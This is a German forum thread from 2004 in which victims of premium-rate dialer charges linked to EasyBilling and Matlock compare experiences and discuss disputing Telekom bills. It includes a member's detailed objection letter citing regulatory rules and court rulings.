Beachte bitte, dass die Angaben in der Dialerdatenbank der RegTP kein Gütesiegel darstellen. Selbst registrierte Dialer können unter Umständen nicht registrierungsfähig sein aber dennoch in der Liste auftauchen - die Rgistrierung kann rückwirkend wieder entzogen werden. Prinzipiell sollte man auch ggü. den registrierten Dialer argwöhnisch sein und (besonders im Fall Matlock/Easy Billing AG) regelmäßig die Dialerdatenbank prüfen, ob es dort Veränderungen hinsichtlich einer Rücknahme der Registration gibt.

Problem: wer einmal bei der Telekom (z. B. unter Vorbehalt) bezahlt hat, dürfte auch im günstigsten Fall nicht so einfach wieder an sein Geld kommen.


----------



## Anonymous (25 Februar 2004)

*Mich hat's auch erwischt - EasyBilling*

Hallo Mitleidende, 

mich hat es auch erwischt. Am 11.02.04 wurden innerhalb von 2 Minuten 5 Verbindungen zur Nummer 0900/0000263 für jeweils 29,95 Euro hergestellt. Natürlich wieder Easybilling in Eggebeck und Matlock in Belize. Der Schaden für mich 149,75 Euro. Habe der Rechnung bei EasyBilling und Telekom widersprochen. Habe definitiv bewußt keine Verbindung hergestellt und kann auch nicht mehr nachvollziehen, auf welcher Seite das geschehen sein könnte. So wie Anna schreibt, ermittelt ja schon die Staatsanwaltschaft gegen EasyBilling. Gibt es dazu noch weitere Informationen. 

Da die Einwahl innerhalb von 2 Minuten (Minutenpreis 75 Euro) durchgeführt wurde, kann hier nur betrügerische Absicht und Abzocke unterstellt werden. Dann dem Forum und einigen Gerichturteilen hoffe ich mit einem blauen Auge davonzukommen. Habe nun alle 0190/0900-Nummern gesperrt und die ISDN-Karte abgehängt, da ich normal mit DSL surfe. Hätte nie gedacht wie leicht man ein Opfer werden kann.  :bigcry:


[MOD-Action]
Doppelposting entfernt


----------



## Anonymous (25 Februar 2004)

*Re: Mich hat's auch erwischt - EasyBilling*



			
				KalleM schrieb:
			
		

> ...Gibt es dazu noch weitere Informationen....


Nein, öffentlich kann man nur erklären, dass so etwas anhängig ist. Informationen aus laufenden Verfahren dürfen nicht öffentlich verbreitet werden.


----------



## Anonymous (25 Februar 2004)

*Mich hats auch erwischt!*

Ich hab heute auch meine Telefonrechnung bekommen. Und dachte echt ich seh nicht richtig!!! Dieses scheiß PRS-Zeug! Angeblich gab es 2Verbindungen über Easybilling und T-Com, wovon ich 100%ig nichts weiß! Die Rechnung wird also praktisch um 51,64€ (Mwst. ausgeschlossen) erhöht.
Zahlt ihr den Betrag an die Telekom??? Oder nur den Betrag ohne diese easybilling Gebühren?


----------



## technofreak (25 Februar 2004)

*Re: Mich hats auch erwischt!*



			
				Vroni schrieb:
			
		

> Zahlt ihr den Betrag an die Telekom??? Oder nur den Betrag ohne diese easybilling Gebühren?



Erste Schritte :
http://forum.webmart.de/wmmsg.cfm?id=1461578&d=90&a=1&t=1776278 

tf


----------



## Chips (25 Februar 2004)

*Regulierungsbehörde*

Hallo,

Also ich verstehe nicht,wie manche Vorredner es geschafft haben,die Regulierungsbehörde zu einer Klage gegen EasyBilling zu bringen.Wenn ich bei denen anrufe,sagen die immer,sie könnten nur die Auskunft über den zuständigen Betreiber erteilen.Ich habe vor ca. 4 Wochen eine Beschwerde gegen Easy Billing eingereicht und wollte nun nach dem Stand der Dinge fragen.Sie sagten nur ich soll jetzt selbstständig rechtlichen Beistand anfordern und bei Easy Billing selbst Beschwerde einreichen.Ich frage mich was die den ganzen Tag machen?


----------



## Anonymous (25 Februar 2004)

*Re: Regulierungsbehörde*



			
				Chips schrieb:
			
		

> Also ich verstehe nicht,wie manche Vorredner es geschafft haben,die Regulierungsbehörde zu einer Klage gegen EasyBilling zu bringen.


Hier geht es noch nicht um eine Klage. Ob ein Betrug vorliegt, entscheiden Staatsawaltschaften (insbesondere demnächst die in Flensburg) nach Anzeigen der Geschädigten bei verschiedenen Polizeien im ganzen Bundesgebiet. Die RegTP prüft nur den Einsatz eines Owi-Verfharens aus eigener Zuständigkeit heraus. Und abschließend kannst Du davon ausgehen, dass es neben den Mitarbeitern bei der Behörde RegTP auch noch Angehörige anderer Behörden gibt und man den "kurzen Dienstweg" für interne Informationen pflegt - leider (oder manchmal zum Glück) undurchsichtig für einen Behördenfremden.


----------



## Chips (25 Februar 2004)

*Regulierungsbehörde*

Hallo Anna,

Danke für deine schnelle Antwort.Ich verstehe nur noch nicht so ganz was dieses Musterschreiben "Kundenbeschwerde" dann soll.Ich habe bei der Telekom Beschwerde gegen den strittigen Betrag eingelegt.Als erstes haben sie nur den unstrittigen Betrag abgebucht und eine Woche später dann noch den Rest.Ich werde ihn jetzt zurückbuchen und außerdem noch Beschwerde bei Easy Billing einlegen.Mal schaun was draus wird.Aber ich denke das mit der Regulierungsbehörde hat relativ wenig Sinn.Da ist man mehr auf sich allein gestellt.Ich hoffe nur das die mir bei dem ganzen Theater nicht den Telefonanschluß abstellen.Der Dialer,der mich erwischt hat,ist ja registriert.


----------



## blumenwiese23 (25 Februar 2004)

*mahnung*

gute abend zusammen, wollte bloß kurz melden, dass ich heut die erste mahnung von der telekom bekommen habe. da macht man sich 2 stunden einen riesen stress wegen einem beschwerdeschreiben an die telekom und man bekommt so eine standartmahnung. 
soll ich wieder einspruch, also zu 3. mal, einlegen??

danke


----------



## Anonymous (25 Februar 2004)

Chips schrieb:
			
		

> Musterschreiben "Kundenbeschwerde"


Welches meinst Du?


----------



## Anonymous (25 Februar 2004)

Mich hat`s heut auch getroffen, so eine Schweinerei, bin echt wütend darüber. 52 € für`n  ... Werde Beschwerdebrief schreiben, denk aber nicht, dass das was bringt.


----------



## Anonymous (25 Februar 2004)

Anonymous schrieb:
			
		

> Mich hat`s heut auch getroffen, so eine Schweinerei, bin echt wütend darüber. 52 € für`n  ... Werde Beschwerdebrief schreiben, denk aber nicht, dass das was bringt.


Oh doch - Stand der Beschwerden bei der RegTP hinsichtlich Matlock am 24.02. - gerade mal 50 Stück! Bei tausenden von Geschädigten in ganz Deutschland eine magere Zahl.


----------



## cicojaka (25 Februar 2004)

anna schrieb:
			
		

> Unter dem Vorgang *Reg TP: A000 531* liegt dort bereits seit dem 26.09.2003 eine Beschwerde von mir vor.




Und was sagt uns das???

DA WIRD AUF ZEIT GESPIELT! Kaum 5 Monate vergangen, schon ein netter kleiner Plusminusbeitrag. 

Inzwischen hatten die Hintermänner alle Zeit der Welt, alle Spuren zu verwischen. Und die Easy Billing kriegt dann ein 50.000-Euro-Bussgeld. Zwei Jahre später sind sie unter neuem Namen wieder da und machen weiter. Und was will man genau gegen die HAS unternehmen?

Ich bin wirklich ziemlich konsterniert nach knapp 3 Monaten Recherche in dieser Materie... Bananenrepublik!


----------



## eb-victim (26 Februar 2004)

*Erwischt: 090090000426*

Am 8.2. hat es mich erwischt: Name Relax_B, Nummer 090090000426.  :-? 
Zum Glück nur einmal 29,95 ...
Noch am 8.2. Einzugsermächtigung widerrufen und diesen Betrag beim Überweisen abgezogen.   

Der Dialer ist von meinem Rechner verschwunden.
Falls andere auf diese Nummer hereingefallen sind: habt Ihr den Dialer noch???

Bei Recherchen im Internet habe ich jedoch mehrere andere Dialer von Matlock gefunden, die m. E. alle nicht zulässig (aber trotzdem registriert sind).

Mal schauen, was von der Telekom kommt ...


----------



## Anonymous (26 Februar 2004)

*Re: Erwischt: 090090000426*



			
				eb-victim schrieb:
			
		

> Nummer 090090000426.  :-? Bei Recherchen im Internet habe ich jedoch mehrere andere Dialer von Matlock gefunden, die m. E. alle nicht zulässig (aber trotzdem registriert sind).
> 
> Mal schauen, was von der Telekom kommt ...


Die DTAG nimmt den Registrationseintrag als Gütesiegel her und stellen sich auf den Standpunkt, dass die Verbindung ordnungsgemäß zustande kam. Die Rgistrierung für Relax- und Web.exe-Produkte soll zurück genommen werden, deshlab kann man den Geschädigten nur raten, irgendwie auf Zeit zu spielen.

Den Dialer wirst Du kaum finden könenn, da er nur temporär zur Verfügung stand und aus verschiedenen Dateien besteht.


----------



## Bonnifaz (26 Februar 2004)

mal eine Frage an die Rechtsabteilung des Forums:

Der ganze Schriftwechsel (Einschreiben usw.) kostet doch die Geschädigten viel Geld. Kann man so etwas nicht in den T-Punkten gegen Bestätigung abgeben, damit die es weiterleiten. Service und so. Entstehen dadurch Rechtsnachteile? 

B.


----------



## TSCoreNinja (26 Februar 2004)

Bonnifaz schrieb:
			
		

> Der ganze Schriftwechsel (Einschreiben usw.) kostet doch die Geschädigten viel Geld. Kann man so etwas nicht in den T-Punkten gegen Bestätigung abgeben, damit die es weiterleiten. Service und so. Entstehen dadurch Rechtsnachteile?


Hab ich versucht, die wollten das nicht machen. Fax mit Faxjournal, das Kopie der ersten Seite gilt, ist wohl beweiskraeftig. Ich habe mal die Frage gestellt, ob man Portokosten (Einschreiben) der Telekom in Rechnung stellen kann. Antwort gabs hier http://forum.computerbetrug.de/viewtopic.php?p=40556&highlight=#40556
beanwortet aber zunaechst nicht direkt die Frage. Nachdenken meinerseits erbrachte: erst wenn die Forderung fuer nichtig erkannt wurde, darf dies geschehen. D.h. eine negative Feststellungsklage waere dafuer eine Voraussetzung... Die Mehrzahl hier wird jedoch den dafuer noetigen Gang zum Anwalt und Auslage von Kosten scheuen, wenn sie nicht eben wie die Mitglieder Katzenhai oder Der Jurist sich selbst vertreten koennen.

Gruesse,
TSCoreNinja


----------



## TSCoreNinja (26 Februar 2004)

anna schrieb:
			
		

> Oh doch - Stand der Beschwerden bei der RegTP hinsichtlich Matlock am 24.02. - gerade mal 50 Stück! Bei tausenden von Geschädigten in ganz Deutschland eine magere Zahl.


@anna

<sarcasmus>
Oh, waehlen Sie bitte 0138-XXXX zum Preis von nur 50 Cent zur Abstimmung fuer den fiesesten Dialer, damit wir dann tatsaechlich etwas gegen den unternehmen. And the winner is.... 
</sarcasmus>
Das kann doch nicht Dein Ernst sein? Wenn die RegTP nicht jeder hinreichend begruendeten Beschwerde nachgeht, auch wenn es sich um einen Einzelfall handelt, kommt sie IMHO nicht ihrer gesetzlichen Verpflichtung nach. Auch wenn man mich inzwischen davon ueberzeugen konnte, das es sich in vielen Faellen lediglich um eine Ordnungswidrigkeit handelt, so ist doch der entstehende wirtschaftliche Schaden massiv. Und wenn die RegTP per 100,000 EUR Strafe sich nicht selbst finanzieren kann, sollte man sie besser streichen und den Weg der Schweiz gehen.

TSCoreNinja


----------



## Chips (26 Februar 2004)

*Regulierungsbehörde*

Hallo Anna,

Unter http://www.dialerschutz.de/home/Downloads/downloads.html kann man sich dieses Dokument herunterladen:

Beschwerde an die Regulierungsbehörde wegen Nummern-Dialermissbrauchs


Mit diesem offiziellen Formblatt können Sie sich bei der Regulierungsbehörde für Telekommunikation und Post über den illegalen und unseriösen Einsatz eines Dialers und/oder Mehrwertdienstes beschweren.

Was hälst du davon?


----------



## Anonymous (26 Februar 2004)

Nicht schlecht - ordentlich befüllen und ab in die Post!


----------



## Anonymous (26 Februar 2004)

Hallo,

meinen Freund hats leider auch getroffen 3sec für 25?- hoffe ich kann ihn zumindest für eine Beschwerde bei der RegTP bewegen. Er ist sich auch 100% sicher nicht OK gedrückt zu haben.

Könnte mir bitte jemand einen Link schicken wo eine solche Automatische Einwahl mit dem IE stattfindet ?-> [email protected]
Würde mir da gerne selber mal ein Bild machen- leider hat mein Freund da auch keine Ahnung welche Seite es nun war.

Benutze selbst ein analog Modem aber zum Glück meist nur Opera allerdings ist da meine Freundin nicht dazu zu bewegen , zum Glück lässt sich bei unserem Bluetooth Modem der Lautsprecher  nicht ausstellen, zumindest habe ich das selbst noch nicht mitbekommen, sodas da maximal die Einwahl anfallen kann, reicht zwar schon aber man merkts halt noch.

Mfg Alex

_E-Mail Addi gelöscht siehe Nutzungsregeln 
http://forum.computerbetrug.de/rules.php#10
tf/Moderator_


----------



## Anonymous (26 Februar 2004)

Anonymous schrieb:
			
		

> Könnte mir bitte jemand einen Link schicken wo eine solche Automatische Einwahl mit dem IE stattfindet ?


Dein Engagement in allen Ehren aber wie Du schreibst hast Du keine Ahnung - verabschiede Dich lieber von dem Gedanken, denn Du weisst nie, was die anderen mit Deinem Rechner tun!


----------



## Anonymous (26 Februar 2004)

grosses Sorry, hatte mir leider die Nutzerregeln nicht durchgelesen und bin da wegens der Regelung mit der Email etwas überrascht ist aber verständlich. Hatte nur extra ne Email angeben damit hier kein Link gepostet wird den ausversehen jemand klickt.

Alex


----------



## technofreak (26 Februar 2004)

@Alex 

Melde dich an, dann kannst du mit jedem anderen Mitglied per PN Informationen austauschen. 

tf


----------



## Anonymous (26 Februar 2004)

*dito mich hats auch erwischt !*

Hallo ihr Geschädigten da draussen !

ich oute mich hiermit auch ! Bei mir war es der Relax_B mit der Nr. .....926 der mich am A...gekriegt hat. Und das gar dreimal 10.01 + 12.01. und 04.02 = Kosten von 77 € Netto 

Hab natürlich gleich daraufhin die Telekom veranlasst die Position nicht abzubuchen, was sie auch brav getan hat. Schliesslich bin ich mir überhaupt keiner Schuld bewusst ! 
Aber mir ist auch klar, dass spätestens in 4 Wochen wieder die Telekom an mein sauer verdientes Geld anklopft. Also bin ich zum Kampf gegen den Dialer bereit, was sicherlich auch auf das Forum hier zurückzuführen ist ! 
Was hab ich also getan bzw. welche News kann ich euch bieten:
Also, den Dialer "Relax_B" finde ich bei mir auf dem Desktop. (Windows XP) Auch finde ich unter der Suchfunktion das Web.de  Die Hash-Nummer wiederum hab ich leider nicht gefunden bzw. unter C:/ WindowsNT finde ich zusätzlich eine "Dialer.exe" Ob es sich hierbei um den gleichen Dialer handelt weiß ich nicht. Fakt ist aber, dass die Hash-Nummer NICHT mit den drei Hash-Nummern der...926 übereinstimmt.   

Desweiteren habe ich seit 2 Wochen DSL mit Modem im Einsatz. Kabel für analog Modem hab ich wegen der Dialer-Gefahr daraufhin entfernt. Es heißt ja DSL bietet 100% Schtz gegen Dialerzugriff. Merkwürdig bzw interessant erscheint mir aber die Tatsache, dass ich beim Surfen das eine oder andere mal herausfliege und nur durch Neubooten ich wieder ins Internet kann. Ich würde mal die These behaupten, der Dialer, der wie schon erwähnt noch bei mir auf dem Rechner ist (Beweisgründen) versucht die Verbindung zu meinem DSL-Provider zu unterbrechen, um sich stattdessen einzuwählen. Da dies aber wegen DSL nicht geht, gibt es wohl ein Konflikt, so dass nix mehr geht. 

Dies ist bislang meine "Story". Frage an euch da draussen, wie seht ihr die Chance, dass ich ev Erfolg im Kampf gegen den Diakler habe ? So wie ich viele eurer Berichte verstanden habe, ist der Dialer spurlos auf den Rechner verschwunden. Wahrscheinlich habe ich ihn über DSL nun auf meinm Rechner eingesprerrt  :lol: 

Für ein Feedback wäre ich euch sehr dankbar. Die Idee einer Sammelklage kann ich nur befürworten.


----------



## technofreak (26 Februar 2004)

Gast Nr. Tausend schrieb:
			
		

> bzw. unter C:/ WindowsNT finde ich zusätzlich eine "Dialer.exe" Ob es sich hierbei um den gleichen Dialer handelt weiß ich nicht.


Dialer. exe ist eine Windows Systemdatei , vergleich mal das Datum dieser Datei mit den anderen Systemdateien ,
Dialer tragen  immer das Datum ihres Downloads 


			
				Gast Nr. Tausend schrieb:
			
		

> Die Idee einer Sammelklage kann ich nur befürworten.


Sammelklage gibt es nicht in Deutschland:
siehe http://forum.computerbetrug.de/viewtopic.php?t=1474

tf


----------



## Anonymous (26 Februar 2004)

*Relax_B*

Hallo technofreak 
vielen dank für das schnelle Feedback !! 
 Die Eigenschaft von der Datei "web.de" führt aber das gleiche Datum wie der erstmalige Dialerangriff am 10.01. Da muß doch ein Zusammenhang vorliegen !?

Bzgl der Dialer.exe muß ich nachschauen. Bin nicht an meinem privaten Rechner. 

Komischerweise ist doch Sammelklage bei geschädigten Aktionären (Telekom lässt aktuell grüssen) möglich.   

Anyway, es muß doch irgendwie eine Möglichkeit in unserem Rechtsstaat geben, um an diese Verbrecher heranzukommen. Ich meine, es liegt doch wirklich auf der Hand, dass hier nach Strich und Faden betrogen wird ! :evil:


----------



## technofreak (26 Februar 2004)

Gast Nr. Tausend schrieb:
			
		

> Die Eigenschaft von der Datei "web.de" führt aber das gleiche Datum wie der erstmalige Dialerangriff am 10.01. Da muß doch ein Zusammenhang vorliegen !?


leider ist diese web.exe nur ein Rest eines "konzertierten" selbstlöschenden  Autodialerangriffs .
mit ihr allein läßt sich nur wenig anfangen (außer der Tatsache  ihrer Existenz)

Erste Schritte:
http://forum.webmart.de/wmmsg.cfm?id=1461578&d=90&a=1&t=1776278


			
				Gast Nr. Tausend schrieb:
			
		

> Komischerweise ist doch Sammelklage bei geschädigten Aktionären (Telekom lässt aktuell grüssen) möglich.


Die  deutsche Presse  schreibt oft sehr ungenau über juristische Dinge (um es ganz vorsichtig auszudrücken) 
Soweit ich das als juristischer Laie verstehe handelt es sich um eine 


> Streitgenossenschaft
> Dann gibt es noch die Streitgenossenschaft.
> Rechtliche Grundlage siehe hier: http://dejure.org/gesetze/ZPO/59.html
> Von einer Streitgenossenschaft spricht man, wenn eine Mehrheit von Klägern bzw. eine Mehrheit von Beklagten jeweils Partei in einem Prozess sind.


bei der Dialerproblematik handelt es sich aber immer um Einzelverfahren jedes Geschädigten.
Aber warum sollte man als Reporter genaue Definitionen benutzen , wenn falsche  Entnahmen
 aus dem Wortschatz  amerikanischer Krimis viel einfacher sind ...


tf


----------



## Jürgen2 (26 Februar 2004)

*090090000263 oder auch Matlock*

Hi alle zusammen!
In der Sache 0900..... hat's mich nun auch erwischt. Nachdem ich auf meiner letzten Rechnung einen Betrag von fast 26 € (manche verlasst das sicherlich zu einem müden lächeln  ) entdeckt habe fand ich nach mehreren Telefonaten mit der Kundenbetreuung der Telecom heraus, dass dies wohl bei weitem kein Einzelfall ist. Das doch verblüffend treffsicher Suchportal GOOGLE hat mich mit der o.g. Nummer zielsicher hier her geführt!!
Ich bin nun nicht gewillt die Sache auf sich beruhen zu lassen, auch wenn der Aufwand die 26 € wieder einzutreiben erheblich sein wird.
Meine Frage an die geschädigten:
Hat jemand schon mal eine Anzeige gegen den Betreiber Matlock angestrengt? Ich bin dabei dies zu tun, wäre aber froh noch Mitstreiter zu finden, die mich zumindest mit eigenen Erfahrungen "bereichern" würden. Im Gegenzug beabsichtige ich hier und auch in den öffentlichen Medien den Fortschritt (oder Niederlage) zu berichten.
Ich finde, es ist fatal dass ein so liberales System wie das Internet auf diese Weise verseucht wird, und wie ich bis jetzt feststellen konnte auch nicht unbedingt aktiv von der Regulierungsbehörde geschützt wird. Je tiefer ich in die Sache (zugegeben als "Computerlaie") einsteige, um so verblüffter stelle ich fest, dass weder die Telecom (konnte ich mich von der T-Online als provider noch nicht lösen :roll: ) noch die Regulierungsbehörde "kundennah" operieren. Oder hat jemand gegenteilige (positive) Erfahrungen?
Zum Vorgang selbst: bei mir habe ich nicht einmal bemerkt, dass sich da was installiert hat. Die Verweildauer ist nach der Einzelauskunft der Telecom mit 29 Sekunden (für 25,82 €) registriert. Neben sicherlich treffenderen Worten kann ich dazu nur WUCHER sagen. Alleine die Tatsache, dass in 29 Sekunden einer Normalverbindung (ISDN 1 kanalig) keinerlei verwertbarer Dienst herunter geladen werden kann sollte dazu berechtigen mit bestehenden Verbraucherschutzgesetzten gegen diesen Betrug vorzugehen.
Also: Ich würde mich auf rege Teilnahme freuen

Jürgen


----------



## Anonymous (26 Februar 2004)

*Matlock - wir kriegen dich !!!!*

Hallo zusammen,
ich denke auch wir sollten den Blick nach vorne werfen, wie wir unser Problem lösen können. 
Wir haben nun alle zu Recht unsere Wut und Ärgernis gegen den  offensichtlichen Betrug herausgelassen, aber jetzt heißt es auch, vereint unser mehr oder weniger schlaues Köpfchen einzusetzen, um die  richtigen Gegenmaßnahmen einzuleiten. 
Ich fange mal mit der Beschreibung meiner nächsten Schritte an:
1. Nachdem ich erfolgreich die Rechnung von der T. kürzen ließ, werde ich jetzt nochmal Kontakt mir der T. aufnehmen. Irgendwo im Forum habe ich gelesen, dass die T. bereit wäre, wenn man ein Sicherheitspaket (Sperrung von Nummern) abschliesst, dass die T. auf die Kosten verzichten würde. Ob das stimmt weiß ich nicht, aber versuchen kann man es ja.
2. Wie weiterhin erwähnt, hab ich auf meinem Rechner sowohl eine web.exe als auch eine Dialer.exe gefunden. "Technofreak" meinte zwar, es handele sich hierbei nur um Fragmente, aber wer weiß, vielleicht reichen diese Beweisspuren ja.
3. Wir haben in unserer Firma einen eigenen hilfbereiten "Rechtsverdreher" Mal schauen was der dazu sagt.

Was macht ihr ???? Auf in den KampF !!!


----------



## Anonymous (26 Februar 2004)

*Bin auch Opfer geworden*

Hallo zusammen!

Jetzt bin ich auch ein Opfer von Matlock & Co. geworden. Was soll ich denn nun machen? Der Dialerbetrag beläuft sich auf 206 EUR.

Danke und Gruß!

Roland


----------



## technofreak (26 Februar 2004)

Erste Schritte:

http://forum.webmart.de/wmmsg.cfm?id=1461578&d=90&a=1&t=1776278

tf


----------



## Anonymous (26 Februar 2004)

Hallo,

habe in dieser Diskussion mehrfach gelesen das sich der Dialer durch Pop-up´s  installiert hat. Meine Frage: Helfen dagegen Pop-up-Blocker (wie z.B Pop-up Stopper-Free Edition)?

Viele Grüsse, Luna


----------



## Devilfrank (26 Februar 2004)

Die beste Hilfe ist Lesen. Hier z.B.:
http://www.computerbetrug.de/sichern/ie_einl.php?p=0|55|56|


----------



## KalleM (26 Februar 2004)

Hallo Mitleidende, 
ich habe den heutigen Abend damit verbracht, eine Begründung der Zahlungsverweigerung an die Telekom zu formulieren. Bin ein Opfer über fünf Einwahlen in nur zwei Minuten geworden. Macht also 150 Euro (guter Stundenlohn oder  ). Ich möchte mich für eure Hilfe in diesem Forum bedanken  :bussi: und stelle dass Schreiben für euch zur weiteren Verwendung zur Verfügung. Vieleicht könnt ihr ja den ein oder anderen Tip übernehmen. Ich hatte von der Telekom-Mitarbeiterin den Rat bekommen einfach zu zahlen, um meine Ruhe zu haben. Die Beweise sind aber eigentlich erdrückend. Ich habe keine Lust mein ehrlich verdienstes Geld den Betrügern in den Rachen zu werfen. Mal sehen wie's weitergeht...

AN Deutsche Telekom AG

Widerspruch gegen den Rechnungsposten PRS (Offline), Art. bzw. Leistungs-Nr. 75651
Schreiben Nr. 02: Weitere Ergänzungen zum Fax vom 26.02.04 


Sehr geehrte Damen und Herren, 

ich halte hiermit meinen Widerspruch gegen den nachfolgend aufgeführten Rechnungsposten aufgrund weiterer Hinweise und Beweise auf Betrug aufrecht:  
„Verbindungen des PRS (Offline)“ über 129,10 Euro netto bzw. 149,76 Euro brutto 

Ich begründe dies mit den nachfolgend aufgeführten Beweisen. Zum einen ist die Einwahl nachweislich mit einem nicht registrierten Dialer erfolgt. Damit ist schonmal kein Rechts-geschäft zustande gekommen, ebenso ist dieses wegen §138 BGB (Wucher) nichtig. Darüber hinaus gibt es bundesweit bereits etliche Opfer dieser Firma, wie es den einschlägig und auch der RegTP bekannten Foren zu entnehmen ist. Außerdem wird von den Gerichten immer mehr dieser Betrug anerkannt und zugunsten der Kunden entschieden. 

Lassen Sie sich bitte nicht zu einem Inkassounternehmen für eine offensichtlich betrügerische Firma machen, bei der die Ermittlungen der Staatsanwaltschaft Flensburg bereits eingeleitet worden sind. Ich hoffe mit den hiermit vorgelegten weiteren Beweisen einen langen Rechts-streit zu verhindern. Die Beweise für einen Betrug sich hier so offensichtlich, dass ich es nicht einsehe den Betrag zu zahlen, nur damit ich meine Ruhe habe. Hier sind Betrüger am Werk, die unser hart verdientes Geld abschöpfen wollen. Falls Sie die Belege noch im Orginal benötigen, weil sie z.B. per Fax nicht komplett lesbar sind, sagen Sie mir bitte Bescheid.   

*Beweis 1:*
Eine Untersuchung des „Verlaufs“ (gespeicherte Seiten) des Internet Explorers von vor zwei Wochen ergab, dass der Dialer genau fünfmal im Verlauf auftaucht. Dies entspricht also genau der Anzahl der durchgeführten Einwahlen zu der Nummer „0900/90000263“. Dabei stellte sich heraus, dass z.B. die Eingabefelder, in denen man zweimal „JA“ eingeben muss, bereits beim Aufruf der Webseite ausgefüllt waren. Dies kann den Screenshots der „Anlage 1“ und „Anlage 2“ entnommen werden. Da ich die ISDN-Karte aus Vorsicht beim nachträglichen Test abgeklemmt hatte und die Einwahl über DSL erfolgte, konnte ich das weitere Verhalten des Dialers nicht verifizieren, um nicht noch weitere Kosten entstehen zu lassen. Die Seite hat sich aber ohne den Anschluss der ISDN-Karte bereits anders verhalten. So war z.B. das zuvor sichtbare Titelbild ohne ISDN-Anschluss nicht mehr sichtbar. 

Das die automatische Einwahl dieses Anbieters (Matlock) durchgeführt wird, kann dem folgenden Internetlink entnommen werden. Bereits andere Benutzer haben diese Erfahrung gemacht. Bitte lesen Sie dazu z.B. den Beitrag vom Benutzer Tonguru vom 18.01.04 :
http://forum.computerbetrug.de/view...ys=0&postorder=asc&highlight=matlock&start=30

Das eine solche automatisierte Einwahl bereits mit wenigen Programmzeilen realisiert werden kann, kann auch für Nichttechniker auf folgernder Internetseite getestet werden: 
http://eax.i-networx.de/demo/index2.php

Das Bundesamt für Sicherheit in der Informationstechnik (BSI) hat Kenntnisse über Dialer und deren Technik und die vorstehenden Manipulationsmöglichkeiten bereits festgestellt. 

Amtliche Auskunft des 
Bundesamt für Sicherheit in der Informationstechnik (BSI), 
Godesberger Allee 185 - 189, 
53175 Bonn 

*Beweis 2:*
Wie Sie den Hinweisen der RegTP entnehmen können, dürfen Dialer nur dann eingesetzt werden, wenn sie bei der Regulierungsbehörde für Telekommunikation und Post registriert worden sind. Dabei ist zu beachten, dass über eine Rufnummer mehrere Dialer betrieben werden können. Die Versionsnummer und der Hashwert ist quasi der „Fingerabdruck“ des verwendeten Dialers. Wie Sie ebenfalls den Screenshots hoffentlich entnehmen können, wurde für die Einwahl zur Rufnummer 0900/0000263 mit einem Dialer der „Version 1.2.3“ und dem Hashwert „b3ce89adb6e451c82935178a6e348760“ durchgeführt. Eine Vergrösserung des entsprechenden Hinweisfenster zum Hashwert habe ich hier eingefügt.

Dieser Dialer ist bei der RegTP nicht registriert.

Bei der RegTP wurden lediglich andere Dialer registriert. Die registrierten Dialer haben sowohl eine andere Versions- als auch Hashnummer. Da nur Dialer eingesetzt werden dürfen, die registriert wurden, leitet sich daraus ab, dass die Fa. EasyBilling AG keinen Anspruch auf Zahlungsverpflichtung meinerseits hat. Der Dialer erfüllt nicht die forderten Mindest-voraussetzungen der RegTP. 

* Beweis 3:*
Wie Sie dem bereits zuvor genannten Internetforum http://forum.computerbetrug.de/viewtopic.php?t=3665&postdays=0&postorder=asc&start=30
entnehmen können, sind die betrügerischen Geschäftspraktiken der Fa. „Matlock Business Corp.“ als Inhalteanbieter (EasyBilling AG ist der Registrierungverpflichtete) bereits hinlänglich bekannt und hat bereits eine Reihe von Opfern gefordert. 

Wenn Sie hier reinschauen, können Sie sehen, dass die RegTP bereits ein Ordnungs-widrigkeitsverfahren eigeleitet hat. Etliche Anträge zur Zulassung für den verwendeten Dialer „web.exe“ wurden bereits abgelehnt und die bestehenden Registrierung werden ebenfalls überprüft. Hintergrund ist das der Dialer automatisiert eine Rufnummer anwählen kann und sich dann anschließend komplett selbst löscht. Somit werden alle Beweise vernichtet. Dies ist nicht zulässig. 

Nach verschiedenen Anzeigen von Geschädigten hat die Staatsanwaltschaft Flensburg bereits ein Strafverfahren eingeleitet.   

*Beweis 4:*

Beschreibung der Version des Matlock-Dialers:
Kunde kommt auf Webseite und muss die AGBs sowie die Preisauszeichnung bestaetigen, danach wird je nach Kundenrechner entweder per Script oder Applet eine web.exe herunter geladen, diese unterbricht die bestehende Verbindung und baut zu der kostenpflichtigen Rufnummer eine Verbindung auf. Wenn diese beendet wird, oder der Browser geschlossen wird, wird diese wieder getrennt und die web.exe wird vom Kundenrechner geloescht. Der Kunde kann dann ganz normal mit seiner normalen Internetverbindung weiter surfen.

Dies entspricht ganz und gar nicht den Mindestvoraussetzungen, die gem. § 43b Abs. 5 TKG zu erfüllen sind. Dies betrifft vor allem die mögliche automatische Ausführung über Skriptsteuerung. Die Nichteinhaltung der Mindestvorraussetzungen wurden bereits von der Aussenstelle Meschede der RegTP bestätigt. Diesem Dialer wird die Registrierung demnächst wohl nach weitergehenden Prüfungen rückwirkend wieder entzogen werden. Die Fa. EasyBilling wurde zu einer Stellungnahme gegenüber der RegTP aufgefordert, allerdings ist die Resonanz recht gering. Deshalb wurden weitere Maßnahmen gem. § 43c Abs. 1 TKG der RegTP gegen die Fa. Easy Billing getroffen (Owi-Verfahren), da die Eggebecker gegen den § 43a Abs. 1 TKG verstoßen haben (Auskunftsanspruch). 


* Beweis 5:*

Bereits mehrere Gericht haben entschieden, dass eine tatsächlich hergestellte Verbindung noch kein Anscheinsbeweis dafür ist, dass die Verbindung und damit der Geschäftvertrag durch eine willentliche Handlung zustande gekommen ist. Erst recht bei nicht registrierten Dialern, welche automatisch eine Einwahl vornehmen können. Es gilt hier die Beweis-lastumkehr. Dadurch, dass der Dialer nicht registriert ist, ist kein Geschäftvertrag nach dem BGB-Recht entstanden. 

Urteil des AG Warendorf vom 22.01.2004 - Az.: 5 C 637/03

1. Der Netzbetreiber ist in vollem Umfang beweispflichtig für das Umstandekommen des Vertrages.

2. Die Tatsachen, dass eine Verbindung technisch hergestellt wurde, ist kein Anscheinsbeweis dafür, dass diese Verbindung durch eine willentliche Handlung zu Stande zustande gekommen ist.

3. Gemäß § 241 a Abs. 3 BGB kann ein Anspruch durch Erbringung unbestellter Leistungen nicht begründet werden. Dies gilt auch für Mehrwertdienstleistungen aufgrund einer Internetverbindung, die mittels eines ohne ausdrücklichen Willen des Computerbetreibers installierten Dialers hergestellt worden ist. 


Urteil des AG Hamburg St. Georg vom 29.10.2003 - Az.: 915 C 263/03

1. Der Netz-Betreiber ist beweispflichtig für die Inanspruchnahme der Leistung. 

